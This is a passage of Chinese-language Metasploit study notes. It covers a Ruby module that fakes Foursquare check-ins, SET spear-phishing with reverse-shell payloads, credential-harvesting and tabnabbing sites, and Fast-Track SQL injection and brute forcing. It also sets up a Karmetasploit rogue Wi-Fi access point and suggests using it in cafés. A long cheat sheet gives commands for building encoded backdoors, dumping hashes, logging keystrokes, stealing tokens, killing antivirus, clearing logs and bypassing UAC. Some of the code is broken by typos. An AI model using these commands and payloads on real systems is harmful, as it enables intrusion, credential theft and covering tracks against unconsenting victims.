[‘URL’,’http://www./im-a-foursquare-cheater/’], ] #todo pass in geocoords instead of venueid,create a venueid, other tom foolery register_options( [ Opt::RHOST(‘a(chǎn)pi.foursquare.com’), OptString.new(‘VENUEID’,[true,’foursquare venueid’,’185675’]), OptString.new(‘USERNAME’,[true,’foursquare username’,’username’]), OptString.new(‘PASSWORD’,[true,’foursquare password’,’password’]), ],self.class) end def run begin user = datastore[‘USERNAME’] pass = datasore[‘PASSWORD’] venid = datastore[‘VENUEID’] user_pass = Rex::Text.encode_base64(user + “:” + pass) decode = Rex::Text.decode_base64(user_pass) postrequest = “twitter=1\n” #add facebook=1 if you want facebook print_status(“Base64 Encode User/Pass: #{user_pass}”) #debug print_status(“Base64 Decode User/Pass: #{decode}”) #debug res = send_request_cgi({ ‘uri’ => “/v1/checkin?vid=#{venid}”, ‘version’ => “1.1”, ‘method’ => ‘POST’, ‘data’ => postrequest, ‘headers’ => { ‘Authorization’ => “Basic #{user_pass}”, ‘Proxy-Connection’=> “Keep-Alive”, } },25) print_status(“#{res}”) end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE =>e pus e.message end end ruby 白癡一個,代碼我也沒看懂,不解釋了 如何使用: msf> search foursquare msf> use admin/foursquare set VENUEID 2584421 set USERNAME msf@elwood.net set PASSWORD ilovemetasploit run
十.社會工程學(xué)工具集(SET) 主要功能:hacking the human mind。 1、SET 基本配置: SET 位于/pentest/exploits/set/目錄 更新: cd /pentest/exploits/set/ svn update 配置文件config/set_config,當(dāng)使用基于web 的攻擊方式時可以將email 功能打開: vi config/set_config: METASPLOIT_PATH=/opt/framework3/msf3 WEBATTACK_EMAIL=ON 使用Java applet attack 進(jìn)行攻擊的時候默認(rèn)使用Microsoft 作為發(fā)布者名稱,如果需要自定義則需要安裝JDK 并打開配置項: SELF_SIGNED_APPLET=ON SET 默認(rèn)打開AUTO_DETECT 項,自動探測本機(jī)IP 并用于攻擊中的各項配置。如果本機(jī)是多網(wǎng)卡需要手動指定IP,則需將此項關(guān)閉: AUTO_DETECT=OFF SET 默認(rèn)使用內(nèi)建的python 提供的web server 供使用,如需使用apache 作為服務(wù)則需要本機(jī)安裝apache 并打開配置項: APACHE_SERVER=ON
2、網(wǎng)絡(luò)釣魚攻擊(Spear-Phishing Attack Vector): 利用文件格式漏洞(如PDF)等生成后門并通過email(GMAIL,SENDMAIL,)向目標(biāo)發(fā)送帶后門附件的電子郵件,誘使目標(biāo)打開附件激活后門。 例子: ./set 此時選擇菜單1.Spear-Phishing Attack Vectors 繼續(xù)選擇:1.Perform a Mass Email Attack 選擇exploit:8.Adobe Collab.collectEmailInfo Buffer Overflow 選擇payload:4.Windows Reverse TCP Shell 選擇是否更改文件名:1.Keep the filename 選擇發(fā)送郵件方式1.Email Attack Single Email Address 選擇郵件模板1.Pre-Defined Template 5.Status Report 輸入收件方email 地址:webmanager@exmaple.com 選擇發(fā)件方式:1.Use a GMAIL Account for your email attack 輸入發(fā)件gmail 和密碼 選擇是否立即監(jiān)聽端口等待連接:yes 此時SET 會使用剛才的設(shè)定全自動監(jiān)聽指定端口。
3、WEB 方式攻擊: SET 可以克隆一個網(wǎng)站并植入后門以此迷惑目標(biāo)打開此網(wǎng)站并中招。 Java Applet 方式:最成功的方式之一,并不是利用java 的漏洞,而是當(dāng)目標(biāo)瀏覽含后門的仿冒站點時會被詢問是否允許執(zhí)行web 中的java applet,一旦點擊允許則payload 開始運行,目標(biāo)將被重定向到真實的網(wǎng)站。 用戶端(Client-side)web exploit 方式:利用用戶端存在的軟件漏洞,一般使用0day進(jìn)行攻擊的效果最好。 賬號密碼獲取(Username and Password Harvesting):通過克隆一個目標(biāo)站并誘使攻擊目標(biāo)登陸,截獲其賬號密碼。例如截獲GMAIL 密碼。 標(biāo)簽頁綁架(Tabnabbing):當(dāng)目標(biāo)打開多個標(biāo)簽頁瀏覽網(wǎng)站并切換標(biāo)簽頁時,網(wǎng)站偵測到目標(biāo)的行為并顯示讓目標(biāo)等待的信息,恰好目標(biāo)打開了被綁架的標(biāo)簽頁并要求在相似程度驚人的網(wǎng)站里輸入登陸憑據(jù),當(dāng)目標(biāo)輸入之后登陸信息即被截獲,同時被重定向到真實網(wǎng)站。 中間人攻擊(Man-Left-in-the-Middle):此方式使用已經(jīng)被攻陷的網(wǎng)站的HTTP 請求或者網(wǎng)站的XSS 漏洞讓用戶的登陸信息發(fā)送至攻擊者的HTTP 服務(wù)器。如果你發(fā)現(xiàn)了一個網(wǎng)站的XSS 漏洞,可以利用此漏洞構(gòu)造一個url 發(fā)送給目標(biāo)誘使其打開并登陸以截獲登陸信息。 Web Jacking:當(dāng)目標(biāo)打開我們的網(wǎng)站時會有一個鏈接顯示為正確的web 地址,此時若目標(biāo)打開此仿冒鏈接會被定向到我們的仿冒網(wǎng)站,其登陸信息會被截獲。 混合模式(multi-attack):可同時使用以上多種攻擊手段以提高成功率。 介質(zhì)感染攻擊(Infectious Media Generator):可以讓你生成一張光盤或者u 盤,里面包含autorun.inf 來運行指定的后門文件或者file-format 漏洞文件。 迷你USB 人機(jī)接口設(shè)備(Teensy USB HID):當(dāng)電腦插入USB 設(shè)備且autorun.inf 被禁用時,可使用此方法將USB 設(shè)備模擬成一個鍵盤或鼠標(biāo)設(shè)備,進(jìn)而截獲目標(biāo)機(jī)器的擊鍵記錄。 SET 其他特殊功能: 包括SET 交互式shell,可用來替代meterpreter;遠(yuǎn)程管理工具(RATTE);HTTP 隧道,當(dāng)目標(biāo)主機(jī)只開放HTTP 端口對外放行時可通過此功能與主機(jī)進(jìn)行通信;WEB-GUI,包含了常用攻擊和無線攻擊向?qū)?,輸?/set-web 即可運行。 (SET 新版本變動較大,請自行摸索。)
十一.FAST-TRACK Fast-Track 和SET 一樣都是python 編寫的,同樣是使用MSF 提供的payload 以及用戶端攻擊向?qū)У?,作為對MSF 的補(bǔ)充,它提供了如MSSQL 攻擊,更多的exploit,瀏覽器攻擊向?qū)У取asttrack 位于/pentest/exploits/fasttrack/。 交互式模式:./fast-track.py -i 命令行模式:./fast-track.py -c Web 界面模式:./fast-track.py -g
1、MSSQL 工具: MSSQL 注入漏洞攻擊: 攻擊時你只需要輸入有注入漏洞的url 地址,地址里面用INJECTHERE 標(biāo)識可注入字 段,如http:///show.asp?id=INJECTHERE&date=2012,fast-track 會全自動注入,一旦成功會給你返回一個cmd shell。 注入也支持POST 參數(shù),如果是POST 的話更加簡單,只需要你輸入url 地址,fast-track會自動判斷并嘗試進(jìn)行注入。 SQL 暴力破解:另外一個實用的功能是暴力破解器(MSSQL Bruter),可以尋找mssql弱口令,一旦獲取到一個sa 權(quán)限的訪問權(quán)限,將自動返回一個shell。 SQL 注入批量掃描器(SQLPwnage):此功能可掃描指定網(wǎng)段的所有打開80 端口的主 機(jī),并掃描是否存在sql 注入點,一旦發(fā)現(xiàn)注入點將自動嘗試攻擊并通過xp_cmdshell 獲取系統(tǒng)權(quán)限。
2、Binary-HEX 轉(zhuǎn)換器: 當(dāng)你已經(jīng)進(jìn)入一個系統(tǒng)且需要上傳可執(zhí)行文件上去,就可以使用這個工具將可執(zhí)行的二進(jìn)制文件轉(zhuǎn)換為HEX 十六進(jìn)制編碼,然后復(fù)制粘貼過去即可。
3、批量用戶端攻擊: 和瀏覽器攻擊差不多,但是增加了對目標(biāo)的ARP 緩沖區(qū)和DNS 感染(只能是在測試者 和目標(biāo)處于同一網(wǎng)段的情況下),以及MSF 里面沒有的瀏覽器溢出exploit。當(dāng)目標(biāo)瀏覽 惡意網(wǎng)站的時候,fast-track 嘗試著使用所有的exp 對目標(biāo)機(jī)器進(jìn)行溢出,一旦某個exp 起作用將獲取到目標(biāo)機(jī)器的控制權(quán)限。 (新版本fasttrack 中還加入了Autopwn Automation、Nmap Scripting Engine、Exploits、Payload Generator 等新功能。) 腳本化的工具有時確實能減少很多工作時間,但是不能完全依賴于這類自動程度很高的 工具,特別是在用這些工具搞不定目標(biāo)的時候,手工測試的能力往往才是王道,細(xì)節(jié)決定成敗。
十二.KARMERASPLOIT Karmetasploit = Karma + Metasploit,也可以說成它是MSF 的KARMA 實現(xiàn)。 Karma 和MSF 一樣也是使用ruby 語言編寫的,其功能是建立一個虛假的無線接入點, 等待目標(biāo)連接上鉤。與MSF 結(jié)合可實現(xiàn)更強(qiáng)大的功能。Karmetasploit 集成了DNS,POP3, IMAP4,SMTP,FTP,SMB,HTTP 等服務(wù)用于攻擊,模塊位于modules/auxiliary/server 目錄下。 基本配置: 需要的配置不多,首先需要配置一個DHCP 服務(wù)為目標(biāo)提供動態(tài)IP 分配,配置文件: option domain-name-servers 10.0.0.1; default-lease-time 60; max-lease-time 72; ddns-update-style none; authoritative; log-facility local7; subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.254; option routers 10.0.0.1; option domain-name-servers 10.0.0.1;}
將配置文件保存在/etc/dhcp3/dhcpd.conf 下一步下載karma msf 腳本: wget http://www./downloads/karma.rc 將網(wǎng)卡激活為監(jiān)聽模式: airmon-ng start wlan0 創(chuàng)建偽裝接入點,-P 可被掃描到,-C 信號發(fā)射速率,-e 接入點名稱(需要具有欺騙性), -v 指定網(wǎng)卡,mon0 為上一步完成后生成的: airbase-ng -P -C 30 -e “China-Net-Free” -v mon0 此時會生成一個名為at0 的新網(wǎng)卡接口。 接著打開DHCP 服務(wù): ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0 檢查是否成功啟動: ps aux|grep dhcpd tail -f /var/log/messages 下一步加載karma 腳本: msf> resource karma.rc 等待收獲: 當(dāng)對方打開郵件客戶端并登陸收取郵件,那么他的賬戶密碼將被截獲,因為他所連接的 DNS 和POP3 都是虛假的。 當(dāng)對方打開瀏覽器準(zhǔn)備瀏覽網(wǎng)頁時karma 開始截取cookie,建立虛假email,DNS 等服 務(wù),加載exploits 來對付客戶端瀏覽器,如果走運的話可以獲取到shell。 總結(jié):建議這招可以拿到麥當(dāng)勞,星巴克用,效果更好。
十三.構(gòu)建自己的模塊,編寫自己的exploit,meterpreter腳本編程
這三章留著后面看,需要有ruby 基礎(chǔ)等編程基礎(chǔ)。
十四.滲透實戰(zhàn)演習(xí) 首先需要下載并安裝一個專門用來練習(xí)滲透的虛擬機(jī)Metasploitable: http://updates./data/Metasploitable.zip.torrent 虛擬機(jī)IP:172.16.32.162 用戶名密碼:msfadmin WINXP:172.16.32.131 開放80 端口有防火墻 情報收集: nmap -sT -P0 172.16.32.131 msfconsole: cd /opt/framework3/msf3/ msfconsole msf> use multi/handler set payload windows/meterpreter/reverse_tcp set lhost 172.15.32.129 set lport 443 load auto_add_route exploit -j run getgui -e -f 8080 shell net user msf msf /add net localgroup administrators msf /add upload nmap.exe nmap.exe -sT -A -P0 172.16.32.162 msf> use auxiliary/scanner/ftp/ftp_version set RHOSTS 172.16.32.162 run msf> use auxiliary/scanner/smtp/smtp_version set RHOSTS 172.16.32.162 run search tomcat_mgr_login set rhosts 172.16.32.162 set threads 50 set rport 8180 set verbose false run use multi/http/tomcat_mgr_deploy set password tomcat set username tomcat set rhost 172.16.32.162 set lport 9999 set rport 8180 set payload linux/x86/shell_bind_tcp exploit search distcc_exec set payload linux/x86/shell_reverse_tcp set lhost 172.16.32.129 set rhost 172.16.32.162 show payloads set payload cmd/unix/reverse exploit
十五.常用命令備忘
MSFconsole Commands
show exploits 查看所有exploit show payloads 查看所有payload show auxiliary 查看所有auxiliary search name 搜索exploit 等 info 查看加載模塊的信息 use name 加載模塊 LHOST 本機(jī)IP RHOST 目標(biāo)IP set function 設(shè)置選項值 setg function 全局設(shè)置 show options 查看選項 show targets 查看exp 可選的平臺 set target num 設(shè)置exp 作用平臺 set payload payload 設(shè)置payload show advanced 查看高級選項 set autorunscript migrate -f 設(shè)置自動執(zhí)行指令 check 測試是否可利用 exploit 執(zhí)行exp 或模塊 exploit -j 作為后臺執(zhí)行 exploit -z 成功后不立即打開session exploit -e encoder 指定encoder exploit -h 查看幫助信息 sessions -l -v 列出可用sessions 詳細(xì)信息 sessions -s script 在指定session 執(zhí)行腳本 sessions -K 結(jié)束session sessions -c cmd 執(zhí)行指定命令 sessions -u sessionID 升級shell db_create name 創(chuàng)建數(shù)據(jù)庫 db_connect name 連接數(shù)據(jù)庫 db_nmap nmap 掃描并導(dǎo)入結(jié)果 db_autopwn -h 查看autopwn 幫助 db_autopwn -p -r -e 基于端口,反彈shell db_destroy 刪除數(shù)據(jù)庫
Meterpreter Commands
help 查看幫助 run scriptname 運行腳本 sysinfo 系統(tǒng)基本信息 ls 列目錄 use priv 運行提權(quán)組件 ps 列進(jìn)程 migrate PID PID 遷移 use incognito token 竊取 list_tokens -u 查看可用用戶token list_tokens -g 查看可用組token impersonate_token DOMAIN_NAME\USERNAME 模仿token steal_token PID 竊取PID 所屬token 并模仿 drop_token 停止模仿token getsystem 獲取SYSTEM 權(quán)限 shell 運行shell execute -f cmd.exe -i 交互式運行cmd execute -f cmd.exe -i -t 使用可用token 運行 execute -f cmd.exe -i -H -t 同上,同時隱藏進(jìn)程 rev2self 返回至初始用戶 reg command 修改注冊表 setkesktop number 切換至另一已登錄用戶屏幕 screenshot 截屏 upload file 上傳文件 download file 下載文件 keyscan_start 開始截取擊鍵記錄 keyscan_stop 停止截取擊鍵記錄 getprivs 盡可能提升權(quán)限 uictl enable keyboard/mouse 獲取鍵盤或鼠標(biāo)的控制權(quán) background 將當(dāng)前meterpreter shell 轉(zhuǎn)入后臺 hashdump 導(dǎo)出所有用戶hash use sniffer 加載嗅探模塊 sniffer_interfaces 查看可用網(wǎng)卡接口 sniffer_dump interfaceID pcapname 開始嗅探 sniffer_start interfaceID packet-buffer 指定buffer 范圍嗅探 sniffer_stats interfaceID 抓取統(tǒng)計信息 sniffer_stop interfaceID 停止嗅探 add_user username password -h ip 添加用戶 add_group_user “Domain Admins” username -h ip 添加用戶至管理組 clearev 清空日志 timestomp 改變文件屬性如創(chuàng)建時間等 reboot 重啟
MSFpayload Commands
msfpayload -h 查看幫助 msfpayload windows/meterpreter/bind_tcp 0 查看指定payload 可用選項 msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 X > payload.exe 生成payload.exe msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R > payload.raw 保存為RAW 格式,可用于msfencode msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c 保存為C 格式 msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java 保存為java 格式
MSFencode Commands
msfencode -h 查看幫助 msfencode -l 查看可用encoder msfencode -t (c,elf.exe,java.js_le,js_be,perl,raw,ruby,vba,vbs,loop-vbs,asp,war,macho) 以指定格式顯示編碼后的buffer msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe 生成編碼后的exe msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded.exe 多編碼器結(jié)合,多次編碼 msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c 生成純字符格式C 類型shellcode
MSFcli Commands
msfcli |grep exploit 只顯示exploit msfcli | grep exploit/windows 只顯示windows exploit msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.26 E 針對指定IP 加載指定exp 并設(shè)定payload
MSF,Ninja,F(xiàn)u
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R | msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe 使用calc.exe 作為模板,生成經(jīng)過編碼的后門 msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R | msfencode -x calc,exe -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe 與上面差不多,只是執(zhí)行的時候不依賴于生成的可執(zhí)行文件,且不會有任何提示信息 msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe && msfcli multi/hanler PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 E 生成編碼后的payload 并開始監(jiān)聽本機(jī)端口
MSFvenom
msfvenom –payload 自動生成payload
Meterpreter Post Exploitation Commands
提權(quán)一般步驟 meterpreter> use priv meterpreter> getsystem meterpreter> ps meterpreter> steal_token 1784 meterpreter> shell net user msf msf /add /DOMAIN net group “Domain Admins” msf /add /DOMAIN 獲取hash 一般步驟 meterpreter> use priv meterpreter> getsystem meterpreter> hashdump 如果是在win2008 系統(tǒng)上: meterpreter> run migrate meterpreter> run killav meterpreter> ps meterpreter> migrate 1436 meterpreter> keyscan_start meterpreter> keyscan_dump meterpreter> keyscan_stop 使用Incognito 提權(quán) meterpreter> use incognito meterpreter> list_tokens -u meterpreter> use priv meterpreter> getsystem meterpreter> list_tokens -u meterpreter> impersonate_token IHAZSECURITY\Administrator 查看保護(hù)機(jī)制并禁用之 meterpreter> run getcountermeasure meterpreter> run getcountermeasure -h meterpreter> run getcountermeasure -d -k 檢查是否是虛擬機(jī) meterpreter> run checkvm 轉(zhuǎn)入命令行 meterpreter> shell 遠(yuǎn)程VNC 控制 meterpreter> run vnc 轉(zhuǎn)入后臺 meterpreter> background Bypass UAC meterpreter> run post/windows/escalate/bypassuac OS X 系統(tǒng)上dump hash meterpreter> run post/osx/gather/hashdump Linux 系統(tǒng)上dump hash meterpreter> run post/linux/gather/hashdump
|